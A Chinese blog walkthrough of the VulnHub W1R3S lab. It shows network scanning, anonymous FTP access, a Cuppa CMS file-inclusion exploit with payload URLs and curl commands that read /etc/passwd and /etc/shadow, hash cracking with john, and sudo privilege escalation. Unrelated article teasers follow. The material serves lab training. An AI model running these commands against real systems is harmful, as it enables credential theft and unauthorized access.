W1R3S: 1.0.1靶场

news2025/5/16 7:12:32

W1R3S: 1.0.1

来自 <W1R3S: 1.0.1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.249

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.249

各服务详细分析与攻击面

1 FTP 服务 (端口21)

  • 匿名登录:允许匿名访问,存在敏感目录:
  • contentdocsnew-employees

行动建议

  1. 使用ftp 192.168.23.249匿名登录(用户:anonymous,密码为空)。
  2. 下载所有目录中的文件,检查是否有配置文件(如config.php)、数据库备份、员工信息等。
  3. 查找隐藏文件(如.htpasswd)或SSH私钥。

vsftpd 3.0.3:当前版本无已知严重漏洞(CVE-2011-2523后门漏洞仅影响2.3.4)。

2 HTTP 服务 (端口80)

默认页面:Apache默认页,需进一步枚举目录。

行动建议

  1. 使用gobusterdirsearch爆破目录(如/admin/login/backup)。
  2. 检查子域名或虚拟主机(Host: W1R3S.inc)。
  3. 查找敏感文件(robots.txtphpinfo.php.git泄露)。

漏洞可能性

  • 若存在Web应用(如CMS),可能存在SQL注入、文件上传等漏洞。
  • Apache 2.4.18需检查配置错误(如目录遍历、启用危险模块)。

3 SSH 服务 (端口22)

OpenSSH 7.2p2:无已知高危漏洞(如CVE-2016-6210用户枚举需特定条件)。

攻击面

  • 暴力破解(若从其他服务获取用户名/密码)。
  • 检查SSH密钥泄露(如从FTP或Web目录获取私钥)。

4 MySQL 服务 (端口3306)

未授权访问:需有效凭据连接。

行动建议

  1. 从FTP/Web文件中查找数据库配置(用户/密码)。
  2. 尝试默认凭证(如root:rootadmin:admin)。
  3. 利用Web应用的SQL注入获取数据库访问权。

4,匿名访问一下ftp服务器 anonymous

信息收集一下

dir

cd content

get 01.txt

get 02.txt

get 03.txt

cd docs

get worktodo.txt

cd new-employees

dir

get employee-names.txt

只是一些零散的信息收集

5,尝试访问80端口的http服务

尝试扫描其网站子目录

dirsearch -u http://192.168.23.249 -x 403,404,301

访问一下这个网页 http://192.168.23.249/wordpress/wp-login.php

对网站进行指纹目录扫描

whatweb -v http://192.168.23.249/wordpress/wp-login.php

6,再查看一下另一个子目录是啥情况,网站子目录如下

dirsearch -u http://192.168.23.249/administrator/ -x 403,404,301

http://192.168.23.249/administrator/installation/

算是一个CMS,看一下做什么的

安装失败,收集一下这个CMS会存在的版本漏洞

searchsploit cuppa  

查看一下漏洞利用exp

searchsploit -m 25971.txt

Cuppa CMS核心特性与功能

Cuppa CMS 是一款开源的内容管理系统(CMS),旨在为用户提供简单易用的网站创建和管理功能。Cuppa CMS 的设计注重灵活性和易用性,主要特点包括:

  • 开源免费:用户可自由下载、修改和分发代码,适合二次开发1
  • 模块化架构:支持按需启用功能模块,扩展性强1
  • 多语言与响应式设计:支持国际化适配,并确保网站在不同设备上的兼容性1
  • SEO优化:内置基础搜索引擎优化功能,提升内容收录效率1
  • 用户权限管理:提供角色分级,管理员可精细化控制访问权限1

其功能涵盖内容管理、模板系统、数据备份与恢复等,适用于企业官网、个人博客及电商平台等多种场景

7,尝试漏洞利用

1. 漏洞原理与定位

Cuppa CMS的/alerts/alertConfigField.php文件中,第22行代码未对用户输入的urlConfig参数进行过滤,直接通过include($_REQUEST["urlConfig"])包含文件。攻击者可通过此参数注入任意本地或远程文件路径,导致以下风险:

  • 本地文件包含(LFI):读取服务器敏感文件(如/etc/passwd、数据库配置文件等)。
  • 远程文件包含(RFI):执行远程恶意脚本(需allow_url_include开启)。
  • PHP代码执行:包含PHP文件时直接解析执行16

2. 漏洞利用步骤

(1)本地文件读取

目标:获取服务器敏感信息(如配置文件、密码文件)。

示例请求

# 读取Linux系统/etc/passwd
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

# 读取Windows系统文件(需调整路径格式)
http://target/cuppa/alerts/alertConfigField.php?urlConfig=..\..\..\..\..\Windows\win.ini

# 使用PHP伪协议读取源码(Base64编码避免执行)
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php

操作说明

  1. 解码Base64输出获取明文配置(如数据库用户名、密码)。
  2. 结合路径遍历(../)尝试读取其他敏感文件(如shadowphp.ini36

payload: http://192.168.23.249/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

没有任何回显,需要进行绕过处理

curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.23.249/administrator/alerts/alertConfigField.php

漏洞漏洞利用成功,再读取一下记载着密码的敏感文件

curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.23.249/administrator/alerts/alertConfigField.php

成功找到了密码的hash结果,再shadow文件中,有三个账号有密码,分别是root,www-data和w1r3s

7,讲hash值保存进一个文件,使用john进行解密

john hash

得到了两个账户密码,使用computer在ssh上面上线w1r3s用户

ssh w1r3s@192.168.23.249

信息收集一下

uname -a

lsb_release -a

查看一下具有什么sudo权限,发现具有所有权限

sudo -l

直接使用sudo权限开启一个shell

sudo /bin/bash

提权成功,并且得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2376661.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Mamba轻量化]DefMamba: Deformable Visual State Space Model,CVPR2025

paper 文章目录 AbstractMethod整体模型架构可变形状态空间模型 Experiments Abstract 然而&#xff0c;大多数现有的视觉Mamba方法使用预定义的扫描顺序将图像展平为1D序列&#xff0c;导致模型在特征提取过程中对图像空间结构信息的利用能力减弱。为解决这一问题&#xff0…

找银子 题解(c++)

题目 思路 首先&#xff0c;这道题乍一看&#xff0c;应该可以用搜索来做。 但是&#xff0c;搜索会不会超时间限制呢&#xff1f; 为了防止时间超限,我们可以换一种做法。 先创立两个二维数组&#xff0c;一个是输入的数组a&#xff0c;一个是数组b。 假设 i 行 j 列的数…

JVM学习专题(二)内存模型深度剖析

目录 1.JVM结构体系 ​编辑 2.跨平台特性 3.JVM整体结构及内存模型 1.栈内存 1、栈帧&#xff1a; 1.局部变量表 2.操作数栈 3.动态链接 4.方法出口 2、创建对象 2.程序计数器&#xff1a; 3.方法区 ​4.堆 5.本地方法区 6.总结 1.JVM结构体系 JDK、JRE 和 JVM…

密码学实验:凯撒密码

密码学实验&#xff1a;凯撒密码 一、实验目的 掌握凯撒密码的数学原理&#xff1a;理解字符移位与模运算的结合&#xff0c;实现加解密算法。理解暴力破解本质&#xff1a;通过穷举有限密钥空间&#xff0c;掌握利用语言特征破解密文的方法。编程实践&#xff1a;用Python实…

WPS一旦打开,就会修改默认打开方式,怎么解?

目录 前言 解决方法 结语 前言 电脑上同时存在WPS和微软的Office全家桶&#xff0c;但是我更喜欢用Office全家桶。前几天刚在设置改过来&#xff0c;忘记更改pdf文件打开默认应用。结果没过几天&#xff0c;不小心用WPS打开pdf文件时候&#xff0c;给我把默认设置全改回去了…

单片机-STM32部分:12、I2C

飞书文档https://x509p6c8to.feishu.cn/wiki/MsB7wLebki07eUkAZ1ec12W3nsh 一、简介 IIC协议&#xff0c;又称I2C协议&#xff0c;是由PHILP公司在80年代开发的两线式串行总线&#xff0c;用于连接微控制器及其外围设备&#xff0c;IIC属于半双工同步通信方式。 IIC是一种同步…

Payload的定义及核心概念

在IT领域&#xff0c;Payload&#xff08;有效载荷&#xff09; 指数据传输或操作中承载实际功能或信息的主体部分&#xff0c;与协议头、元数据等辅助内容区分。其核心特点是完成特定目标&#xff0c;例如传递关键数据、执行代码逻辑或实现攻击行为。 主要应用场景及技术解析 …

计算机网络笔记(二十四)——4.6互联网的路由选择协议

4.6.1有关路由选择协议的几个基本概念 路由选择协议是计算机网络中维护和生成路由表的核心机制。 1. 路由选择的核心目标 转发&#xff08;Forwarding&#xff09;&#xff1a;路由器基于本地转发表&#xff0c;将分组从输入链路转移到输出链路&#xff08;单台路由器的本地…

论文阅读与写作:《从探索到突破:解密科研和论文写作的思维密码》

文章目录 一、如何做科研1.科研的步骤2.课题选择3.快速入门一个新领域&#xff1a;读论文&#xff0c;先读综述(1)自己看论文的时候&#xff0c;每篇论文花3-5分钟记录一下自己的idea和一些瞬间的想法(2)高质量文献&#xff1a;顶会顶刊(3)如何检索 4.注重团队协作与学术交流5.…

致远OA绩效考核管理应用【附百度网盘下载链接,官方售价8K】

产品概述 绩效考核管理预置三种考核方式&#xff1a;工作事务考核、关键绩效考核、360度考评&#xff0c;满足不同企业考核需求&#xff0c;从考核等级定义、考核方案设置、考核分发到员工考核&#xff0c;再到考核结果汇总并审批&#xff0c;对绩效考核全过程进行闭环管理&…

DeepSeek执行流程加速指南:跨框架转换与编译优化的核心策略全解析

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

manuskript开源程序是面向作家的开源工具

一、软件介绍 文末提供程序和源码下载 manuskript开源程序是面向作家的开源工具&#xff0c;Manuskript 可在 GNU/Linux、Mac OS X 和 Windows 上运行。 二、Features 特征 Manuskript provides a rich environment to help writers create their first draft and then furt…

游戏引擎学习第281天:在房间之间为摄像机添加动画效果

回顾并为今天的内容定下基调 这次我们要继续深入处理实体系统。在前一阶段对实体系统做了一些很酷的改动&#xff0c;但现在到了要认真面对和完善它的时候。 今天的主要目标是修复并优化摄像机在房间之间移动时的逻辑。在上一次的实现中&#xff0c;我们重新启用了基于房间的…

Kaamel隐私合规洞察:Temu在韩被罚事件分析

Kaamel隐私合规与数据安全团队分析报告 韩国个人信息保护委员会&#xff08;PIPC&#xff09;对中国电子商务巨头Temu处以巨额罚款&#xff0c;原因是其严重违反了用户数据保护法律 。核心违规行为包括未经适当披露或用户同意非法跨境传输数据、未能指定当地代表、账户注销流程…

计算机视觉----基于锚点的车道线检测、从Line-CNN到CLRNet到CLRKDNet 本文所提算法Line-CNN 后续会更新以下全部算法

本文所提算法如下&#xff1a; 叙述按时间顺序 你也可以把本文当作快速阅读这几篇文献的一个途径 所有重要的部分我都已经标注并弄懂其原理 方便自己也是方便大家 Line-CNN&#xff1a;基于线提议单元的端到端交通线检测 摘要 交通线检测是一项基础且具有挑战性的任务。以往的…

25.5.15

没有比水题更令人开心的事情了 典型的并查集题目&#xff0c;并查集分为并和查&#xff0c;并就是把有关系的父亲根结点设为同一个&#xff0c;查就是在成功构造后对其进行查询 查通过递归实现 if (x f[x])return x; return f[x] find(f[x]); 由于并查集的特点&#xff0…

5.重建大师数据管理模块介绍

摘要&#xff1a;本文主要介绍重建大师数据管理模块&#xff0c;包含&#xff1a;照片、点云数据可视化管理工具。 数据管理界面主要包含工具栏、可视化界面和照片组列表三部分。 图 数据管理界面 1.工具栏 工具栏包含以下功能按钮&#xff0c;包含添加照片、视频、点云、控制…

MATLAB安装常见问题及解决方案详解(含代码示例)

MATLAB作为科学计算和工程分析的核心工具&#xff0c;其安装过程可能因操作系统版本、硬件配置或网络环境等因素而出现各种问题。本文基于MATLAB官方文档和社区经验&#xff0c;系统总结了安装过程中常见的问题&#xff0c;并提供详细的解决方案和代码示例&#xff0c;帮助用户…

微信小程序智能商城系统(uniapp+Springboot后端+vue管理端)

一、系统介绍 本智能商城系统是基于当今主流技术栈开发的一款多端商城解决方案&#xff0c;主要包括微信小程序前端、SpringBoot 后端服务以及 Vue 管理后台三大部分。系统融合了线上商城的核心功能&#xff0c;支持商品浏览、下单、支付、订单管理等操作&#xff0c;适用于中小…

【Spark分析HBase数据】Spark读取并分析HBase数据

Spark读取并分析HBase数据 一、摘要二、实现过程三、小结 一、摘要 Apache Spark 是一个快速、通用的大数据处理引擎&#xff0c;提供了丰富的 API 用于数据处理和分析。HBase 是一个分布式、可扩展的 NoSQL 数据库&#xff0c;适合存储海量结构化和半结构化数据。Spark 与 HB…